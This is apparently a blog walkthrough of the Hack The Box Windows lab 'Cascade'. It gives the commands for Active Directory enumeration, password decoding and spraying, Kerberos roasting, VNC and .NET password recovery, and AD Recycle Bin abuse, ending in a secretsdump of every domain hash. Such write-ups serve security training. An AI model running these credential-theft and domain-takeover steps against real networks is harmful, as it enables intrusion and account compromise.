Zumpyx Blog

Cascade

Machines#235MediumWindows
← Machines

Recon & Enum

export IP=10.10.10.182

Nmap

  • Tcp
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-25 07:47:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-01-25T07:48:29
|_  start_date: 2024-01-24T10:40:19
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -36s

export DOMAIN=cascade.local

SMB

  • crackmapexec smb $IP -u guest -p '' --shares

  • crackmapexec smb $IP -u guest -p '' --rid-brute 10000

MSRPC

  • enum4linux -a $IP
...
 =======================================( Users on 10.10.10.182 )=======================================

index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull     Name: Adrian Turnbull   Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc    Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson       Name: Ben Hanson        Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc      Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest      Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman       Name: David Burman      Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe        Name: Edward Crowe      Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft        Name: Ian Croft Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen        Name: Joseph Allen      Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand     Name: John Goodhand     Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield    Name: James Wakefield   Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson     Name: Ryan Thompson     Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson      Name: Stephanie Hickson Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith        Name: Steve Smith       Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util   Name: Util      Desc: (null)

user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
...
[+] Found domain(s):

        [+] CASCADE
        [+] Builtin
...
 =======================================( Groups on 10.10.10.182 )=======================================


[+] Getting builtin groups:

group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]

[+]  Getting builtin group memberships:

Group: Windows Authorization Access Group' (RID: 560) has member: NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Group: Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE
Group: Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group: Users' (RID: 545) has member: CASCADE\Domain Users
Group: Guests' (RID: 546) has member: CASCADE\CascGuest
Group: Guests' (RID: 546) has member: CASCADE\Domain Guests
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT AUTHORITY\Authenticated Users

[+]  Getting local groups:

group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]

[+]  Getting local group memberships:

Group: Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group: IT' (RID: 1113) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\s.smith
Group: IT' (RID: 1113) has member: CASCADE\r.thompson
Group: AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group: Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group: Remote Management Users' (RID: 1126) has member: CASCADE\arksvc
Group: Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
Group: HR' (RID: 1115) has member: CASCADE\s.hickson

[+]  Getting domain groups:

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]

[+]  Getting domain group memberships:

Group: 'Domain Users' (RID: 513) has member: CASCADE\administrator
Group: 'Domain Users' (RID: 513) has member: CASCADE\krbtgt
Group: 'Domain Users' (RID: 513) has member: CASCADE\arksvc
Group: 'Domain Users' (RID: 513) has member: CASCADE\s.smith
Group: 'Domain Users' (RID: 513) has member: CASCADE\r.thompson
Group: 'Domain Users' (RID: 513) has member: CASCADE\util
Group: 'Domain Users' (RID: 513) has member: CASCADE\j.wakefield
Group: 'Domain Users' (RID: 513) has member: CASCADE\s.hickson
Group: 'Domain Users' (RID: 513) has member: CASCADE\j.goodhand
Group: 'Domain Users' (RID: 513) has member: CASCADE\a.turnbull
Group: 'Domain Users' (RID: 513) has member: CASCADE\e.crowe
Group: 'Domain Users' (RID: 513) has member: CASCADE\b.hanson
Group: 'Domain Users' (RID: 513) has member: CASCADE\d.burman
Group: 'Domain Users' (RID: 513) has member: CASCADE\BackupSvc
Group: 'Domain Users' (RID: 513) has member: CASCADE\j.allen
Group: 'Domain Users' (RID: 513) has member: CASCADE\i.croft
Group: 'Group Policy Creator Owners' (RID: 520) has member: CASCADE\administrator
Group: 'Domain Guests' (RID: 514) has member: CASCADE\CascGuest

 ==================( Users on 10.10.10.182 via RID cycling (RIDS: 500-550,1000-1050) )==================


[I] Found new SID:
S-1-5-21-3332504370-1206983947-1165150453

[I] Found new SID:
S-1-5-21-2189247330-517467924-712900258

[+] Enumerating users using SID S-1-5-21-3332504370-1206983947-1165150453 and logon username '', password ''

S-1-5-21-3332504370-1206983947-1165150453-500 CASCADE\administrator (Local User)
S-1-5-21-3332504370-1206983947-1165150453-501 CASCADE\CascGuest (Local User)
S-1-5-21-3332504370-1206983947-1165150453-502 CASCADE\krbtgt (Local User)
S-1-5-21-3332504370-1206983947-1165150453-512 CASCADE\Domain Admins (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-513 CASCADE\Domain Users (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-514 CASCADE\Domain Guests (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-515 CASCADE\Domain Computers (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-516 CASCADE\Domain Controllers (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-517 CASCADE\Cert Publishers (Local Group)
S-1-5-21-3332504370-1206983947-1165150453-518 CASCADE\Schema Admins (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-519 CASCADE\Enterprise Admins (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-520 CASCADE\Group Policy Creator Owners (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-521 CASCADE\Read-only Domain Controllers (Domain Group)
S-1-5-21-3332504370-1206983947-1165150453-1001 CASCADE\CASC-DC1$ (Local User)

[+] Enumerating users using SID S-1-5-21-2189247330-517467924-712900258 and logon username '', password ''

S-1-5-21-2189247330-517467924-712900258-500 CASC-DC1\Administrator (Local User)
S-1-5-21-2189247330-517467924-712900258-501 CASC-DC1\Guest (Local User)
S-1-5-21-2189247330-517467924-712900258-513 CASC-DC1\None (Domain Group)

LDAP

  • ldapsearch -x -H "ldap://$IP" -s base namingContexts
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local

  • ldapsearch -x -H "ldap://$IP" -b "DC=cascade,DC=local" > ldap_cascade.local

  • cat ldap_cascade.local | grep userPrincipalName 查看账户

userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]
userPrincipalName: [email protected]

  • cat ldap_cascade.local | grep 'OU=Service Accounts' 查看服务账户

  • cat ldap_cascade.local | grep -iE 'p.?.?.?w.?.?d' 查看密码信息

badPasswordTime: 132247275952778272
pwdLastSet: 132247150854857364
badPwdCount: 3
badPasswordTime: 133505669601565102
pwdLastSet: 132230718862636251
cascadeLegacyPwd: clk0bjVldmE=
badPwdCount: 0
badPasswordTime: 0
pwdLastSet: 132233548311955855
badPwdCount: 1
  • cat ldap_cascade.local | grep clk0bjVldmE= -C 20 查看关键信息上下文
countryCode: 0
badPasswordTime: 133505669601565102
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAA[REDACTED]==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: [email protected]
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

# {4026EDF8-DBDA-4AED-8266-5A04B80D9327}, Policies, System, cascade.local
dn: CN={4026EDF8-DBDA-4AED-8266-5A04B80D9327},CN=Policies,CN=System,DC=cascade
 ,DC=local

# {D67C2AD5-44C7-4468-BA4C-199E75B2F295}, Policies, System, cascade.local
dn: CN={D67C2AD5-44C7-4468-BA4C-199E75B2F295},CN=Policies,CN=System,DC=cascade
 ,DC=local

# Util, Services, Users, UK, cascade.local
dn: CN=Util,OU=Services,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Util
distinguishedName: CN=Util,OU=Services,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109194521.0Z
whenChanged: 20200128180947.0Z

kerberos-sec

  • kerbrute userenum --dc $IP -d $DOMAIN /usr/share/seclists/Usernames/cirt-default-usernames.txt

Shell as User - r.thompson

  • echo clk0bjVldmE= | base64 -d
export USER1=r.thompson PASS1=rY4n5eva CRED1=$USER1:$PASS1

密码喷射

  • crackmapexec smb $IP -u user.list -p pass.list --continue-on-success

image-20240125173305799.png

AS-REPRoasting

impacket-GetNPUsers -dc-ip $IP -no-pass $DOMAIN/ -usersfile user.list

Kerberoasting

impacket-GetUserSPNs -dc-ip $IP $DOMAIN/$CRED1

BloodHound

bloodhound-python -d $DOMAIN -u $USER1 -p $PASS1 -c all -ns $IP --zip

image-20240129094228002.png

image-20240129095128693.png

SMB

  • crackmapexec smb $IP -u $USER1 -p $PASS1 --shares

image-20240125173420664.png

  • mount -t cifs //$IP/Data M -o username=$USER1 挂载 SMB
.
├── Contractors
├── Finance
├── IT
│   ├── Email Archives
│   │   └── Meeting_Notes_June_2018.html
│   ├── LogonAudit
│   ├── Logs
│   │   ├── Ark AD Recycle Bin
│   │   │   └── ArkAdRecycleBin.log
│   │   └── DCs
│   │       └── dcdiag.log
│   └── Temp
│       ├── r.thompson
│       └── s.smith
│           └── VNC Install.reg
├── Production
└── Temps

Shell as User - s.smith

  • VNC Install.reg
...
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
...
  • 解密后得到 sT333ve2

https://github.com/jeroennijhof/vncpwd

image-20240126154912841.png

image-20240126154936033.png

  • Meeting_Notes_June_2018.html 发现迁移用的临时管理员 TempAdmin

image-20240126155007416.png

  • 把新的到的账号密码添加到字典中，再次尝试密码喷射

image-20240126155248209.png

  • 得到 s.smith 用户凭据
export IP=10.10.10.182 DOMAIN=cascade.local USER1=r.thompson PASS1=rY4n5eva CRED1=$USER1:$PASS1 USER2=s.smith PASS2=sT333ve2 CRED2=$USER2:$PASS2

image-20240126155521757.png

发现在 CASCADE\Audit Share 中

BloodHound

bloodhound-python -d $DOMAIN -u $USER2 -p $PASS2 -c all -ns $IP --zip

image-20240129095342526.png

SMB

image-20240126165532150.png

  • mount -t cifs //$IP/Audit$ M -o username=$USER2

image-20240126165706067.png

  • 发现 Audit.db 打开看一下

image-20240126165941218.png

  • 密码都不对

image-20240126170352782.png

Shell as User - ArkSvc

  • RunAudit.bat

image-20240126170441410.png

程序需要加载这个 db 文件，也许和密码相关

Shell as User - ArkSvc

逆向分析

image-20240126171236631.png

.net 框架，用 dnspy 调试一下

  • dnspy 打开，添加参数

image-20240126171358155.png

  • 在 MainModule 中看到类似密码解密的函数

image-20240126172047989.png

因此尝试动态调试，看一下解密后的值

  • 在解密函数运行后添加断点

image-20240126172928660.png

  • 得到 ArkSvc 凭据
export IP=10.10.10.182 DOMAIN=cascade.local USER1=r.thompson PASS1=rY4n5eva CRED1=$USER1:$PASS1 USER2=s.smith PASS2=sT333ve2 CRED2=$USER2:$PASS2 USER3=ArkSvc PASS3=w3lc0meFr31nd CRED3=$USER3:$PASS3

BloodHound

bloodhound-python -d $DOMAIN -u $USER3 -p $PASS3 -c all -ns $IP --zip

image-20240129095435914.png

  • 在 AD RECYCLE BIN 组内，登录查看已删除的 AD 对象

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges#a-d-recycle-bin

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

image-20240129102614760.png

  • 找到 TempAdmin 凭据
export IP=10.10.10.182 DOMAIN=cascade.local USER1=r.thompson PASS1=rY4n5eva CRED1=$USER1:$PASS1 USER2=s.smith PASS2=sT333ve2 CRED2=$USER2:$PASS2 USER3=ArkSvc PASS3=w3lc0meFr31nd CRED3=$USER3:$PASS3 USER4=TempAdmin PASS4=baCT3r1aN00dles CRED4=$USER4:$PASS4
  • 根据会议信息的线索，这个密码大概率就是 administrator 的密码

image-20240129102849286.png

  • 尝试登录

image-20240129102936683.png

Dump Hash

impacket-secretsdump $DOMAIN/administrator:$PASS4@$IP
---
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x3c67174689c6b5a53b5e3227e338e2ad
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d256a4c6553e66da3c7872179eeb7d26::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
CASCADE\CASC-DC1$:aes256-cts-hmac-sha1-96:1c3912d0fd6480fb5f77cb002f71fa2fde625457d975f1c40d143f2482f88a2a
CASCADE\CASC-DC1$:aes128-cts-hmac-sha1-96:fe8fba001f7898b237299e3937275473 
CASCADE\CASC-DC1$:des-cbc-md5:bc58e0fd23613898 
CASCADE\CASC-DC1$:plain_password_hex:cf9db297c8f74f54f20f3eb24ae08653125848c440f98edec4eb5e8eb0597d00ba103ddc5712f45d1cbbcbd4b1012017b8ca68af379bdde65edbe0da6ea102dc6e62a435fdd75437730f1ed992f0604bb01521090138e
7d53b6a11465ea62ef69b30bc92c2279b986369dd44dc70822d67054adf81c3a404d8a58514d37dfb02f554b7e2b72e436a97825aa763ef49b2e89ce71a50913eaed3effdd4035cb0cd1016294f7f7f6df3f3474ea8a24ad4a104ba608e7bec7fb21da8d7c508e5142
2bc2d7e0a52660a4492b070b11c79e0f5b7806bdea9f72eb3c62f1b46719f2f0d1a52d6d460afbf4cf8b5655e8f0f8f5e
CASCADE\CASC-DC1$:aad3b435b51404eeaad3b435b51404ee:39989b875ab0d4b8ad627369d7690b43:::
[*] DefaultPassword
CASCADE\vbscrub:mario128 
[*] DPAPI_SYSTEM
dpapi_machinekey:0xfde585c8ff6d34a3e4677fd263b5acc5ce275c7c
dpapi_userkey:0x31742d7265952f5e193ace0bb04758eaf0414edb 
[*] NL$KM 
 0000 86 51 61 06 1D D3 36 7D2D 50 2D AB 02 B9 E2 8E .Qa...6}-P-..... 
 0010 DD 3F 75 C5 DE 35 8F E4B7 D5 E6 39 5C D4 D2 DF .?u..5.....9\...
 0020 D7 AA A2 D3 C3 18 8B 56E3 1F 3F 77 8E 8F E0 38 .......V..?w...8 
 0030 B9 B6 3E 5F 6C 09 F3 37E8 64 FD E1 6E 01 D6 2A ..>_l..7.d..n..* 
NL$KM:865161061dd3367d2d502dab02b9e28edd3f75c5de358fe4b7d5e6395cd4d2dfd7aaa2d3c3188b56e31f3f778e8fe038b9b63e5f6c09f337e864fde16e01d62a
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[*] Using the DRSUAPI method to get NTDS.DIT secrets 
cascade.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:7c2ea40b06d267f1557a09ac086b4487:::
cascade.local\CascGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3a1b37192392d74e86d04242288dc147:::
cascade.local\arksvc:1106:aad3b435b51404eeaad3b435b51404ee:10ffc991edaa4635cf81eb91762420cb:::
cascade.local\s.smith:1107:aad3b435b51404eeaad3b435b51404ee:b48b49789458698abadc119c8e310703::: 
cascade.local\r.thompson:1109:aad3b435b51404eeaad3b435b51404ee:63251f7b1bada5082e5ffb18261ba28f:::
cascade.local\util:1111:aad3b435b51404eeaad3b435b51404ee:49a914ea7201025aeff21cd858ec7d66:::
cascade.local\j.wakefield:1116:aad3b435b51404eeaad3b435b51404ee:13ae5d7704258917054d662d016eab60::: 
cascade.local\s.hickson:1121:aad3b435b51404eeaad3b435b51404ee:2776416ceb426c515cab11bb8411067b:::
cascade.local\j.goodhand:1122:aad3b435b51404eeaad3b435b51404ee:1d6eb7e45708504e0a9646b7aea9fc9b:::
cascade.local\a.turnbull:1124:aad3b435b51404eeaad3b435b51404ee:1d6eb7e45708504e0a9646b7aea9fc9b:::
cascade.local\e.crowe:1127:aad3b435b51404eeaad3b435b51404ee:95d4f729c16ae37b910317d665ba2215:::
cascade.local\b.hanson:1128:aad3b435b51404eeaad3b435b51404ee:5da61ebae419b915627f25f101fe6b1b:::
cascade.local\d.burman:1129:aad3b435b51404eeaad3b435b51404ee:5da61ebae419b915627f25f101fe6b1b:::
cascade.local\BackupSvc:1130:aad3b435b51404eeaad3b435b51404ee:c27e154566c4788326fce339f4b55491:::
cascade.local\j.allen:1134:aad3b435b51404eeaad3b435b51404ee:64928a685f9a995045f8c04bbf86881d:::
cascade.local\i.croft:1135:aad3b435b51404eeaad3b435b51404ee:431682a8242a237e805badacab95b0e4::: 
CASC-DC1$:1001:aad3b435b51404eeaad3b435b51404ee:39989b875ab0d4b8ad627369d7690b43:::
[*] Kerberos keys grabbed 
cascade.local\administrator:aes256-cts-hmac-sha1-96:201b2d849679d315b51959d1acd879032e1f6dba6fa9feb772a2d985edc2c2cf
cascade.local\administrator:aes128-cts-hmac-sha1-96:5ebdd49d14c5b62141ab0e6a2780ef70
cascade.local\administrator:des-cbc-md5:1532f8259b2c4f45
krbtgt:aes256-cts-hmac-sha1-96:25deaf37ed42e5cd95b76850d9d76fa663fcce3a9512f31357f5e45d333ca5ea 
krbtgt:aes128-cts-hmac-sha1-96:22f5ccb8e68382406cb6e3c24c706208 
krbtgt:des-cbc-md5:fba77f5b31239d9e 
cascade.local\arksvc:aes256-cts-hmac-sha1-96:3717cd1cd9e13ac692bd99e0de0bbdd7910296f8d1f465cb559f76eb63f21bcc 
cascade.local\arksvc:aes128-cts-hmac-sha1-96:0e34dc2f704261583d5f0bfbdf4cac14
cascade.local\arksvc:des-cbc-md5:73f2c423982534a8
cascade.local\s.smith:aes256-cts-hmac-sha1-96:c5b64b93302ccfb91648acea44a708797371bcec306a74a42d614365329635ce
cascade.local\s.smith:aes128-cts-hmac-sha1-96:4cc2dc914d7d971f3708dba510b1a1e9 
cascade.local\s.smith:des-cbc-md5:6be0fdeab6cec762 
cascade.local\r.thompson:aes256-cts-hmac-sha1-96:d5bf934e36dbbb73b35345f08117b844874b343c9149095ff86034172272259e 
cascade.local\r.thompson:aes128-cts-hmac-sha1-96:def0284f32bcaa0291184f0e6b2a8af0
cascade.local\r.thompson:des-cbc-md5:89e3da3dc74576d9
cascade.local\util:aes256-cts-hmac-sha1-96:9e74ea4fa951ebe411bb9d734c48202fd346a21e414bc61c49ff14b41ba14bb5 
cascade.local\util:aes128-cts-hmac-sha1-96:cadfed05f20d4ca27ffa30b30664dbae
cascade.local\util:des-cbc-md5:c4a8765b4f3db901
cascade.local\j.wakefield:aes256-cts-hmac-sha1-96:c3a6a1518a513ef2344859b204692d92adea4c78a6b8539e1743cfcbeb85dc5c
cascade.local\j.wakefield:aes128-cts-hmac-sha1-96:134734b88534d38ce5bd786bac268f07
cascade.local\j.wakefield:des-cbc-md5:a876678997570e6d 
cascade.local\s.hickson:aes256-cts-hmac-sha1-96:ebdd5dd6e9d0dfac16983b005db8e84b482250740bc3e64b0e58ae30f7e7a7b5
cascade.local\s.hickson:aes128-cts-hmac-sha1-96:83b64186d9c5d8e74b44d6efa3b19ed7 
cascade.local\s.hickson:des-cbc-md5:ce8c2f9dfe3b3ddf 
cascade.local\j.goodhand:aes256-cts-hmac-sha1-96:770b3bd99ce9b17bbf3e35a839615eb1204cbae05990db83e9393a2564c2f8ed 
cascade.local\j.goodhand:aes128-cts-hmac-sha1-96:11ccc9eea5401915a46406441e50ed8f
cascade.local\j.goodhand:des-cbc-md5:fb9226a16d94ba64
cascade.local\a.turnbull:aes256-cts-hmac-sha1-96:4adfe6a4be270895c5a55e440e2a14d70db45f4729d82caff0c157140729f3f1 
cascade.local\a.turnbull:aes128-cts-hmac-sha1-96:89c3c86c69648eea1e589db7316710ae 
cascade.local\a.turnbull:des-cbc-md5:2c076e23493ef7ba
cascade.local\e.crowe:aes256-cts-hmac-sha1-96:c6459e3f1647f02bd9528bca926beb8bfc944b42f3b12d9777fbdc59431fdc43
cascade.local\e.crowe:aes128-cts-hmac-sha1-96:6d36444d8f1b1a4bda6d7c4118ed61d9
cascade.local\e.crowe:des-cbc-md5:f445588fae23a729
cascade.local\b.hanson:aes256-cts-hmac-sha1-96:a6071c3a20a3ce2e373e8586ef7bd12cb665eb6ee66d110df57ee9f703b528f0 
cascade.local\b.hanson:aes128-cts-hmac-sha1-96:34f9f21922871be23e9bedc3fc1741cd
cascade.local\b.hanson:des-cbc-md5:57ef54d568d03e86
cascade.local\d.burman:aes256-cts-hmac-sha1-96:b6a2a64a272ba6c7d2cf638b8614a370d597bc167222555ec655facca6ebfe08 
cascade.local\d.burman:aes128-cts-hmac-sha1-96:310087249254f69e0436b2113f08909e
cascade.local\d.burman:des-cbc-md5:83313268372502c2
cascade.local\BackupSvc:aes256-cts-hmac-sha1-96:ffba7ff6b18eba90d46d787e56a0a0ebba7c8d933f992f2b896e5c7ec7da8720
cascade.local\BackupSvc:aes128-cts-hmac-sha1-96:854bd600cad9e7cd309eb124039b25a7
cascade.local\BackupSvc:des-cbc-md5:9ea4d0da8cdcbcef
cascade.local\j.allen:aes256-cts-hmac-sha1-96:56a9256363211ec2ac9ac5d64ddc931b10123bdf4ce4a90c4eee14aab91e401a
cascade.local\j.allen:aes128-cts-hmac-sha1-96:7f03f34bc8c2919a6b6ddd22c983d23c 
cascade.local\j.allen:des-cbc-md5:a1b0c14f0ec715a8 
cascade.local\i.croft:aes256-cts-hmac-sha1-96:a26cfa25eeb98248137d57f00a509aca41a091218b5a9971ca6af7cd0552c469
cascade.local\i.croft:aes128-cts-hmac-sha1-96:ac531c4553b8f5c2f62614d91e9864e5 
cascade.local\i.croft:des-cbc-md5:b6f89862bf854cf1 
CASC-DC1$:aes256-cts-hmac-sha1-96:1c3912d0fd6480fb5f77cb002f71fa2fde625457d975f1c40d143f2482f88a2a
CASC-DC1$:aes128-cts-hmac-sha1-96:fe8fba001f7898b237299e3937275473 
CASC-DC1$:des-cbc-md5:e0abb06801194043 
[*] Cleaning up...